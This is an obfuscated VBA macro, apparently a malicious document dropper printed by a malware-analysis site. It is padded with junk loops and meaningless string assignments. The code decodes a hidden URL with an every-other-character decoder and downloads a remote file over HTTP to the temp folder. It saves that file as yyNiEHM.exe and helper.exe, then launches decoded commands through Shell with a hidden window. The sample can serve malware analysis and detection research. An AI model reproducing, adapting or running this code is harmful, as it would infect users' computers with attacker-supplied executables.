        VgZuZw = oRLRlj.GetSpecialFolder(5 - 3)
    While MgmwdT < 93
        LLlMYri = Left("GYEa a$@DIYytws", 4)
        FWRqO = StrReverse("DE) Vk^x-nGSydF")
        NEbvP = Left("mKAUynRqqvK", 4)
        lbEgQQhO = LTrim("EMOwPV%aUxH$dujb*MV")
        FWRqO = Left("[bg^ZPSecVEczNjTj", 5)
        xkNVhcdh = Left("wrtx!YlkHztsG", 3)
        FWRqO = 1760 + 1615 + 419
        uBFEaW = Right("F$NIY EfmL% YFdnmC", 4)
        MgmwdT = MgmwdT + 1
    Wend

    For cWVoTR = 0 To 294
        FWRqO = UCase("UaTG*@qB^Xw#AbWX]Q&")
        nSJBCG = Space(14)
        YDITeKoT = Left("UJ%yL%GDpkLz%wL-AVYV", 4)
        LLlMYri = Space(17)
        lbEgQQhO = 447 + 1707 + 350
        YDITeKoT = RTrim("kCwmOatFp_ Fx")
        qpiAy = "jPZx?IynidF" + "Pp*nmF-tbH*NLiw$^oA@" + "tsqe#*!Sm]vzt"
        LLlMYri = RTrim(" ATKGrkoQKtZ")
    Next cWVoTR

    FWRqO = 1661 + 241 + 1640
    YDITeKoT = RTrim("N]&mXf^SdxH%m$p")
        Call sBXdiwyD.SaveToFile(VgZuZw & "\\" & "yyNiEHM.exe", 2)
    FWRqO = LTrim("?kNy[!]BRxh")
    kdqPXzR = 608 + 522 + 193
    lbEgQQhO = 872 + 858 + 1061
    For ScSQHc = 0 To 90
        FWRqO = 951 + 583 + 1380
        FWRqO = 1407 - 1799 - 1021
        FWRqO = StrReverse("mIFNsD#(ZNPx")
        whFBhj = RTrim("%VXe-jPX[dsSbEZ)no@!")
        qpiAy = Space(10)
    Next ScSQHc

    NEbvP = RTrim("HwOFjp]b]SP!UEqx?")
        Vbitg.Open "GE" & "T", FfKiq("hntItupC:o/b/W1i0&7x._1p7B5e.J6(2j.F1V0f4!/DtFe&sAty.dbHizny"), False
    kdqPXzR = "PL&.hJh.OeO" + "?Mp_nio@n!zC!(DR@ kW" + "#RsZILVcVBM"
    YDITeKoT = Space(19)
    lbEgQQhO = 293 - 989 - 450
    For XWuFVY = 0 To 99
        FWRqO = UCase("qarCp*k)KCaEEOD")
        FWRqO = "rpJ[pxrGUY.%" + "QlKHxkPFp " + "ReARwP.m(LyhlVDqjU#D"
        kdqPXzR = LTrim("?Q_*v@c#^$eA!lFsg ")
        LLlMYri = 526 + 1712 + 1979
        kdqPXzR = 1454 - 753 - 1589
        kdqPXzR = Left("zX Mcnt*hsKt@a%", 4)
        FWRqO = StrReverse("RUnnzj(V^g%VE^P(M")
        LLlMYri = RTrim("S&$nbQcnZ)V%")
    Next XWuFVY

    kdqPXzR = Right("r*jQ^kW_pBGhoEokMi", 3)
        Vbitg.send
    While VeCKcb < 274
        whFBhj = LTrim("y&seyaZ&coyv")
        NEbvP = Left("xXt?].^[aByQ$d", 5)
        qpiAy = StrReverse("KC.DSA q&d")
        uBFEaW = LTrim("^aw)zRfSQvxOG)!")
        lbEgQQhO = Right("RhZwIU*PYD)#Rz", 3)
        whFBhj = Left("?#AR]*mWNBrpn", 5)
        qpiAy = UCase("lAwt@%OAQJ")
        VeCKcb = VeCKcb + 3
    Wend

    ZDwXzy = Space(5)
    ZDwXzy = LTrim("tuy^BOoLqf")
    While TlDtXI < 390
        uBFEaW = 1222 + 347 + 132
        NEbvP = StrReverse("XlFMTq[xB&l&GXe")
        TlDtXI = TlDtXI + 1
    Wend

        AKpryS = Vbitg.responseBody
    lbEgQQhO = 886 - 1284 - 595
    uBFEaW = Space(9)
    For vOBJIk = 0 To 400
        kdqPXzR = LTrim("HUMFt*-HgPmg]Ee?")
        kdqPXzR = Left("t Ad-NR#P-iCF[m!uus", 3)
        YDITeKoT = Right("I%Doc$w$Oz@J#q]LCB", 3)
        xkNVhcdh = Left("lO?zWtC[fqZtO!", 2)
        YDITeKoT = StrReverse("TIND?J#*#!(X")
        LLlMYri = Right("(_.!Md[K!iqT$dt$[S", 5)
    Next vOBJIk

    LLlMYri = RTrim("fjdpC?Jz_Zs#H")
        sBXdiwyD.Write AKpryS
    xkNVhcdh = Left("-jLw_Gfm&J&Lx*", 3)
    qpiAy = UCase("vsNuy[lwXX$BDe")
    xkNVhcdh = Space(14)
    For WYoDwf = 0 To 153
        kdqPXzR = 1230 - 1411 - 966
        lbEgQQhO = UCase("fZlOAq#R_kZT#qCQB")
        lbEgQQhO = Left("x!C]!_jByom", 5)
        kdqPXzR = Space(17)
        kdqPXzR = LTrim("qScjO.?u_C")
        LLlMYri = "E@a*#kZULYxNO" + "Bpok)Y-EC)TTXOVZo" + "t-)Pcq DoGFPKJ#$v"
    Next WYoDwf

        Call sBXdiwyD.SaveToFile(VgZuZw & "\\helper.exe", 2)
    nSJBCG = 1107 - 1276 - 100
    LLlMYri = UCase("kRwZAer[_Vb")
    lbEgQQhO = RTrim("^Wa I-iXvPX")
    xkNVhcdh = LTrim("bmaVdTKQ&F")
        sBXdiwyD.Close
    qpiAy = "(bcXeVxrLR&#A" + "T?ZkPq^ozlt-SmQ)X" + "ZmbeFKw]tnUuqY"
    For DBDKfT = 0 To 66
        YDITeKoT = RTrim("zg&L-@vf^YI")
        xkNVhcdh = RTrim("b!w_AV$!aqnjz")
        LLlMYri = Left("vd&gHhekoaQ!b-aH$rv", 2)
        lbEgQQhO = Right("w!$ jX]p]fh^C#X @N", 2)
    Next DBDKfT

    FWRqO = RTrim("NdVQpuwoDo")
    For aJasRR = 0 To 348
        nSJBCG = LTrim("x#Q@tIIZfB%hHyI")
        YDITeKoT = Space(2)
        qpiAy = StrReverse("JnEMcJvYT)Qef)@JV")
        nSJBCG = Space(4)
        lbEgQQhO = 1136 + 415 + 114
        YDITeKoT = StrReverse("Y]mkTrCze_Y#$dB")
        lbEgQQhO = LTrim("JqKIhvotnh")
        qpiAy = "!TuW$diyYw" + "zqsMw?mnMINc.?Hwx" + "mAH!Y&opi)%#"
        xkNVhcdh = Space(2)
        ZDwXzy = 1883 - 1929 - 1583
    Next aJasRR

    End If
    kdqPXzR = Space(3)
    While dNhRQM < 120
        qpiAy = RTrim("))Q-Kr&c^DMYP[L?C !")
        ZDwXzy = 955 + 1459 + 1680
        lbEgQQhO = UCase("]z^GkWclDSIyQ $@")
        LLlMYri = Space(4)
        whFBhj = Left("DloiBSj)TNN(", 3)
        lbEgQQhO = "xN]$(_aAevh)pTmtH" + ")rnKSTdLUp" + "UCcNjq?HGmI%$#faI"
        dNhRQM = dNhRQM + 2
    Wend

    NEbvP = 193 - 1097 - 684
    uBFEaW = UCase(" EpT]U-EyC^AQrpw")

    whFBhj = Left("$TJG?hx[n&qUIv", 5)
    lbEgQQhO = "[rrhTUGPbhsm%UZHNXx" + "lS.UUzL.tfARKe%" + "OJyto&mxsCcqMJ"
    FWRqO = LTrim("IahxVpIKW$oSM@%kK")
    nSJBCG = ")FZ[NnhsR[Dze?y" + "DG(vw?zpR(nkT" + "DKUgpOWjW(IZ_Xy"

    While ORGEVv < 121
        For JIhcxb = 0 To 361
            uBFEaW = Left("qwI?Ws*!mzYsP@^_nL", 2)
            ZDwXzy = LTrim(")Y%kUZ RKJq(aB&Wpo")
            uBFEaW = StrReverse("sUQFklPrsC* .lS")
            YDITeKoT = Space(13)
            whFBhj = UCase("^RxBphJrU dNbyzDYz")
            qpiAy = StrReverse("SKI&rHwY]%v")
            kdqPXzR = Left("K-!KFU$xTCuLL!ZBdi", 2)
            LLlMYri = Space(18)
            kdqPXzR = UCase("W eP)$GYWW$NSZ_")
        Next JIhcxb

        For MSkvtO = 0 To 144
            NEbvP = UCase("D$y*JSy-[$#mU&hA$QF")
            NEbvP = LTrim("XYhWOwdTC!")
            whFBhj = 782 - 1075 - 1633
        Next MSkvtO

        While QqVJri < 61
            LLlMYri = Left("jkLJMHpssX", 2)
            ZDwXzy = "iC$DWgSl^L" + "iOsSS[^do]" + "o[.jf Mb#M"
            nSJBCG = Right("*IkUW?b_$@]Yj", 4)
            kdqPXzR = 215 - 1673 - 492
            uBFEaW = LTrim("koHWTI LeIxWUGZ$C")
            LLlMYri = LTrim("l rx]mvPzvesyAp^RpO")
            NEbvP = Right("%nPBa[oO&p)!N", 5)
            QqVJri = QqVJri + 1
        Wend

        FWRqO = UCase("PH?&#_)sl#_")
        LLlMYri = Space(20)
        lbEgQQhO = Space(7)
        kdqPXzR = UCase("!ZhIWSvI_N@U#]AJqXtX")
        whFBhj = StrReverse("qrVGo)NvTt.xz&Psl")
        ZDwXzy = Left("jccBKWCFcXo@", 5)
        If ORGEVv = 110 Then
            lbEgQQhO = "euZrWVGKYuNhd" + "F!)Y%]NEHnlR" + "zF[*C!Yg[ wKf&eqn"
            Call TFaDPmp(FfKiq(chrAzl), "JWiAtKIkD", "JhLhRlwPl", "FlITvIPlzP")
            LLlMYri = RTrim("# l@n$MVL?d*O")
            YDITeKoT = RTrim("g)B[&XPUkGSjI$-")
            YDITeKoT = StrReverse("-HunOAPT?uD$&k")
            For MPefKS = 0 To 51
                FWRqO = 235 + 1048 + 1480
                nSJBCG = LTrim("siX_!&c@e]ZYJypS")
                kdqPXzR = LTrim("S$]IV_IjQcTt_Z")
                lbEgQQhO = 1399 + 179 + 290
                kdqPXzR = RTrim("T?PORNMI(uQtvMS*!")
                NEbvP = StrReverse("_BC**M^ps.Rko")
            Next MPefKS

            Call TFaDPmp(FfKiq(lVOcqbR), "Jaj", "EgR", "ViYGZLDBoE")
            xkNVhcdh = Left("gsapVP#i).(Pw", 3)
            xkNVhcdh = 1161 - 790 - 1311
        End If
    ORGEVv = ORGEVv + 1
    Wend
End Sub

Private Sub TFaDPmp(cIbxr As String, wxwUhpG As String, GdhNjK As String, zDWPHMm As String)
    Shell (cIbxr), 0
    kdqPXzR = 1999 + 825 + 1314
    NEbvP = 1375 - 1044 - 1260
    whFBhj = 204 + 908 + 176
    For KoisNM = 0 To 148
        YDITeKoT = Right(")kL]hkgU[pEtB", 2)
        kdqPXzR = UCase("]L&*HE&%oE[]e[KsdK")
        whFBhj = Right("gvAUb#GWrhO$i", 4)
        FWRqO = Right("pdBPu-lBXjXm#W@e", 5)
        ZDwXzy = 1796 - 1275 - 1470
        LLlMYri = 624 + 1974 + 1377
        FWRqO = LTrim("@KHW]VsK?dpHcm*")
        kdqPXzR = RTrim("QaqM-RLI-SP ar")
    Next KoisNM
    lbEgQQhO = 1396 + 523 + 1823
    NEbvP = LTrim("RkNV]]SL#ZAk[]kqOXsq")
    LLlMYri = Left("OL-n%*Q..Mb#kqJZq", 5)
    xkNVhcdh = Right("GfvEd*l.*$V!_fevUU", 2)
    qpiAy = LTrim("rfZ&RI)Fl[t(@uG]Mnt")
    lbEgQQhO = StrReverse("NzOs!-RKAh")
    LLlMYri = 1625 - 1453 - 296
End Sub

Public Function FfKiq(MRFdfNwX As String) As String
While ghGqJi < 10
    ZDwXzy = StrReverse("P(Mix%#rX] wn")
    nSJBCG = 870 - 1025 - 595
    nSJBCG = 398 + 1537 + 1293
    xkNVhcdh = UCase("D[D-&VdSI]")
    uBFEaW = Left("t Oo#W[tV*!Jp", 3)
    kdqPXzR = Space(5)
    ghGqJi = ghGqJi + 2
Wend
YDITeKoT = Left("HMJ%pKAQ?#^s", 3)
    Dim ObkWREw() As Byte
    xkNVhcdh = RTrim("Ld Ya[-e.(EHU")
    For ZEvoHN = 0 To 299
        nSJBCG = Space(18)
        uBFEaW = UCase("u)B.wy]gaPgOM")
        kdqPXzR = "KujD*QlM j!.l*vs" + "S]]bI&[_-rkTQEWya" + "rhKhlpv[fFIRFrt"
        FWRqO = LTrim(".x @N-$A^hlMuhD")
        NEbvP = 1717 - 1826 - 526
        kdqPXzR = LTrim("tRfjsdGXvhI]yOdV")
        ZDwXzy = "D]meOszhC(phtoL" + "tuQbLUkMCtOMkhKZb" + "DrQPZ%HK]lmrgegRpa"
        FWRqO = "rIjlQA rMQDHQ&GL*t" + "#-u[kmNmRxbc" + "Wkj*RAl_)heZdtMCxq"
    Next ZEvoHN
    xkNVhcdh = Right("!#USn(Z%aJrS*E*", 2)
    qpiAy = StrReverse("CqDiXL@)adER(qoDv!Ys")
    NEbvP = Right("xui)y-mpYZDTA_st", 3)
    Dim GLfqtPkr(614) As Byte
    While nXCiue < 230
        whFBhj = UCase("@.zZ?QI_RBeJUrW!-N&")
        LLlMYri = Right("JY@ZzZdLAT@NtPy-RuC", 2)
        nXCiue = nXCiue + 2
    Wend
    kdqPXzR = Space(1)
    LLlMYri = "Xz(?@ibIGv%OOa" + "nhOzUXrE?YKX-rxqZ" + "v^C)SGlaLd?!-ZE"
    whFBhj = 555 + 1762 + 1953
    lbEgQQhO = UCase(" @_HEh$_zCB?")
    ldonHQLW = 0
    ObkWREw = StrConv(MRFdfNwX, vbFromUnicode)
    For KpvtfR = 0 To UBound(ObkWREw) - 1
    kdqPXzR = Space(20)
    LLlMYri = Left("diLEwYlmzFY", 3)
    YDITeKoT = Right("$TyrBq?gzNpq[V*(VRY", 4)
    While PBLpRY < 110
        qpiAy = 295 - 829 - 773
        ZDwXzy = Right("Rn]R?]n!UbtdbZWi!E", 5)
        nSJBCG = Space(16)
        YDITeKoT = RTrim("z ^ffJqOJTI)Dd")
        nSJBCG = StrReverse("wuFvQzOswR-kqV")
        PBLpRY = PBLpRY + 2
    Wend
    NEbvP = " t%IkzF_RBXleq hl" + "$cQu(&upklCRwv?SGT" + "RNG#QivFL[J(bC"
        If (KpvtfR Mod 2 = 0) Then
        NEbvP = Right("axyO)bd@OWJqkX^iPz", 3)
        qpiAy = StrReverse("NHo?kpQlEI#M")
        For jGvPRM = 0 To 362
            uBFEaW = LTrim("mTlPm[@RF)U")
            LLlMYri = UCase(")Ru _X^k .baQWG")
            uBFEaW = 1861 + 242 + 426
        Next jGvPRM
            GLfqtPkr(ldonHQLW) = ObkWREw(KpvtfR)
            For LzaNkM = 0 To 214
                whFBhj = Right("q!WUv-ONmEym$%KmO", 5)
                nSJBCG = Right("wGTG&eK[TvdF[Mxx", 3)
                lbEgQQhO = Right("CkcfHLMRIg", 4)
                LLlMYri = LTrim("v)lhtBcF]sCZq")
                nSJBCG = Right("a.?pFPkpwiIKWk", 3)
                uBFEaW = LTrim("yopKPgbzXZBd")
                lbEgQQhO = 864 + 1166 + 730
                uBFEaW = RTrim("VfA*jvPfHMPE[GP?rgxt")
                ZDwXzy = Left("zEFGJ&ROq%kmfXmjRy", 5)
            Next LzaNkM
            NEbvP = StrReverse("uqo%U#DyT@M")
            NEbvP = RTrim("xrq j]Dq%@- KV")
            qpiAy = LTrim("cp^qxeXiNhKrL^dR*O")
            While ZAxYUi < 163
                whFBhj = "Ng?y%N)G(]" + "vMVt^hv#i[AhFz^hsV" + "NGuSl#I%Bx"
                lbEgQQhO = 1039 + 1691 + 424
                qpiAy = "b]JC&uNovC" + "a$Kq@h]FPrENg" + "#?$FNJVxdZLQo]"
                uBFEaW = RTrim("Vg(yxR%FImDzua$")
                lbEgQQhO = 1332 + 1716 + 160
                YDITeKoT = 1632 - 438 - 908
                ZAxYUi = ZAxYUi + 1
            Wend
            ldonHQLW = ldonHQLW + 2 - 1
            nSJBCG = Left("Q!^@IfV@uW", 4)
            ZDwXzy = Right("[[*MNK#LA_B", 3)
            nSJBCG = 243 + 1376 + 1994
            lbEgQQhO = 1633 + 1039 + 1061
            YDITeKoT = Left("FmLWFxA#iel", 4)
        End If
        While uroKot < 290
            LLlMYri = UCase("e-]zC)QEL!-N&!x")
            NEbvP = Left("^jDeU%#Hl!", 5)
            ZDwXzy = LTrim("f%XdlNoX[@X@aYruJT(q")
            kdqPXzR = RTrim("DXB@yXnvkMq$Scz-")
            YDITeKoT = LTrim("LPaW$TziHG")
            lbEgQQhO = RTrim("cC_(Itx]hpLY@Q_E")
            uroKot = uroKot + 2
        Wend
        qpiAy = Left("cv%hVjhOPhWcYCjP&", 3)
        uBFEaW = Right("YEn*sQS]GiNlo^", 4)
    Next KpvtfR
    NEbvP = Space(12)
    nSJBCG = RTrim("p@J)OHOEh]")
    FfKiq = StrConv(GLfqtPkr, vbUnicode)
    YDITeKoT = Right("tH*uuR@KhNdU)(ZG$jU", 5)
End Function
Private Sub QSZXac(iSKYsqm As Integer, SuCEDaS As Integer, ArxxpMi As Boolean, quMQshJ As Boolean)
    kdqPXzR = 168 - 193 - 446
    nSJBCG = StrReverse("DH#b*Ysv%MmCVOGo")
    YDITeKoT = RTrim("cbWWlbNUs_Y&tJH?c")
    uBFEaW = Left("KvBk eddop?z", 5)
    uBFEaW = 126 - 1692 - 1636
    xkNVhcdh = 1974 - 377 - 1426
    For pwpTIG = 0 To 109
        kdqPXzR = RTrim("mqIAGoz?evwbFkjwY?[h")
        FWRqO = UCase("C^O^KhADRS")
        ZDwXzy = "ix&%LWvkHS&(SgOqKEIZ" + "zasam_BFsZTwXow(H" + "NBsK^R ]bJter.UO(l$B"
        FWRqO = Space(19)
        uBFEaW = 605 - 469 - 649
        NEbvP = RTrim("!Mx&-(uppIw&NkcK")
        ZDwXzy = Left("!rEq@vI%#TtnsnXLp", 5)
    Next pwpTIG

    YDITeKoT = LTrim("FsvsAMTFi fnVX")
    NEbvP = 1656 - 608 - 359
    LLlMYri = Right("[M j ETzIMrsr)[i]O", 5)
    lbEgQQhO = StrReverse("yiwUM&pdNHpzerB")
    kdqPXzR = RTrim("xCACAQ_ $OlJbj")
    kdqPXzR = UCase("[lXDSb(^ z#DN")
    nSJBCG = Space(19)
    qpiAy = 191 + 498 + 444
    lbEgQQhO = "oMsLPHQXzgNhHnQZ" + "zI$@*s?-uH!c%)Pte" + "SYj[UF NSxOfkD^s"
    lbEgQQhO = 1357 - 1248 - 292
    lbEgQQhO = LTrim("-jqCNgwLe@")
    For nZjOUp = 0 To 52
        qpiAy = 521 + 413 + 1499
        ZDwXzy = Left("l(R-mxRy JpcJH*$-", 5)
        LLlMYri = UCase("!f@#O*^LZ]d[B")
        uBFEaW = LTrim("a_ ?AwoA-xy%")
        LLlMYri = Right("EZJ%-j))JC#EqAyC%U@?", 5)
    Next nZjOUp

    NEbvP = LTrim("%.MDsHr^le]b")
    uBFEaW = Right("ecL*[lY-vYtGHgn&w", 2)
    lbEgQQhO = LTrim("Rjqu *LgLjiixMTFEG")
    ZDwXzy = LTrim("on&fy&S_MJnEDMuMSgvc")
    uBFEaW = Space(14)
    FWRqO = LTrim("!byRfX vKHPnX")
    LLlMYri = 986 + 1759 + 433
    kdqPXzR = Space(11)
    xkNVhcdh = Right("diQOC-RYiw#[lszF(_", 2)
    NEbvP = LTrim("-?.bpA[)UayEioZi")
    FWRqO = RTrim("MW_PGA#e*)*E")
    LLlMYri = RTrim("jqVWOOFPtOd")
End Sub

Private Sub hUjvIS(GOAxPOY As Integer, QheUkK As Boolean)
    LLlMYri = StrReverse("DV(P.oauW&C(vLIr^i[")
    xkNVhcdh = Space(17)
    For iwFigg = 0 To 249
        xkNVhcdh = 810 - 1920 - 1943
        YDITeKoT = 1113 + 726 + 832
    Next iwFigg

    qpiAy = RTrim("DzQZ]j]TMDv%AU")
    uBFEaW = "sXsf#pLQ&G" + "LRoIHFA]J(qxOtnE" + "!voifznr]WDD]Ssdt@"
    qpiAy = LTrim("R..]w.bXTLFgvk] $")
    ZDwXzy = Right(".bDmnW%(uj*vjz.[", 5)
    FWRqO = Left("Yyg-gn$d.R)H-Ori@@", 5)
    ZDwXzy = 256 - 1849 - 1675
    nSJBCG = RTrim("whuEgx_sqx*@qC*!h")
    ZDwXzy = 1654 - 603 - 1693
    LLlMYri = Left(".uL#*)sQXci(vl^bV", 5)
    While AUqraV < 156
        LLlMYri = Right("ViVkvpdFhoi[dDG", 5)
        xkNVhcdh = ".jNGTQHKnUiH&Tb" + "lOjqYY.gUE(_hP" + "ge_XxOI$qZKSk"
        kdqPXzR = UCase(" CYKdCBPb*tOf!zHo")
        kdqPXzR = "sS%@@BKqBwx" + "Yuq_^qyEteT.xE]]YmWm" + "%*p^^pO%?L@ti"
        LLlMYri = "V))sSfA-_l*cim(O" + "r)SzY]xpfeGHvySY" + "-I.&Ord(exKCE_?"
        lbEgQQhO = 153 - 1362 - 432
        LLlMYri = 389 + 1811 + 986
        FWRqO = UCase("JhZuVYk%BLEqaM?^")
        qpiAy = RTrim("]$?Ap].l@q^XA")
        AUqraV = AUqraV + 2
    Wend

    lbEgQQhO = 497 - 338 - 908
    YDITeKoT = 1882 + 516 + 1155
    YDITeKoT = StrReverse("h(?Kr$_WkE")
    qpiAy = Right("TWGIf $TNb^W", 4)
    FWRqO = RTrim("pzDi.? [ECoH%s")
    YDITeKoT = Left("PzYWp#Kw_zelKzT", 2)
    kdqPXzR = Space(8)
    xkNVhcdh = 1955 - 1994 - 1245
    qpiAy = StrReverse("AY]$.*Rr_Flr-l")
    uBFEaW = RTrim("HmsIRZ![oCs_d[.%h")
    xkNVhcdh = Space(3)
    uBFEaW = Right(" HOVCEhlij", 5)
    ZDwXzy = 561 - 1973 - 255
    qpiAy = Space(4)
    NEbvP = Right("p)-GUEn@iB?r*pwb&Bj", 2)
End Sub

Private Function ZCrEqJ(OEoYJEC As String, XaILwxb As String) As String
    nSJBCG = 1912 - 852 - 1541
    xkNVhcdh = 1550 + 1492 + 126
    lbEgQQhO = LTrim("@Q(pozPHtw!@IbaX_D")
    xkNVhcdh = RTrim("PjAasmVI ZeONn")
    qpiAy = 427 + 1951 + 230
    While MWZVst < 60
        NEbvP = 1963 - 842 - 1192
        xkNVhcdh = LTrim("&LJB_(&J?iGP#uVTXW")
        nSJBCG = RTrim("lJDRsrIlS^tfhuIZ")
        lbEgQQhO = 1925 - 503 - 1136
        YDITeKoT = RTrim("T]Exlr?Palb_-")
        NEbvP = UCase("YVAR)zg N[Y]%?yq")
        FWRqO = Space(19)
        uBFEaW = LTrim("KTJWtdHh$lAMMoEE@)b")
        xkNVhcdh = LTrim("Hdb($J*govOXo")
        MWZVst = MWZVst + 1
    Wend

    uBFEaW = UCase("n$UZGmGbQYee")
    nSJBCG = UCase("PrZ(rG_XzM^")
    NEbvP = RTrim("psFUrRgzDiQxX")
    uBFEaW = Space(3)
    LLlMYri = 163 - 1370 - 793
    xkNVhcdh = 868 + 1148 + 270
    YDITeKoT = LTrim(").t$tr]*_#tFX.eMZxc")
    While johHYN < 340
        YDITeKoT = StrReverse("En!qGp.bC&")
        kdqPXzR = Space(2)
        NEbvP = RTrim("@bP(o@v]JOmvT]")
        johHYN = johHYN + 2
    Wend

    nSJBCG = LTrim("(DYtXtzS #hC&(cMI^")
    NEbvP = "ZIApwWL]PCVbGWCi?Q@" + "cg.gLmZTs[.l" + "wY#_(R(qJdS"
    FWRqO = Right("-BBzB#A(Uci*Kv]N", 4)
    lbEgQQhO = 1228 + 1431 + 1094
…

Open this report in the interactive analyzer, or submit your own file for analysis.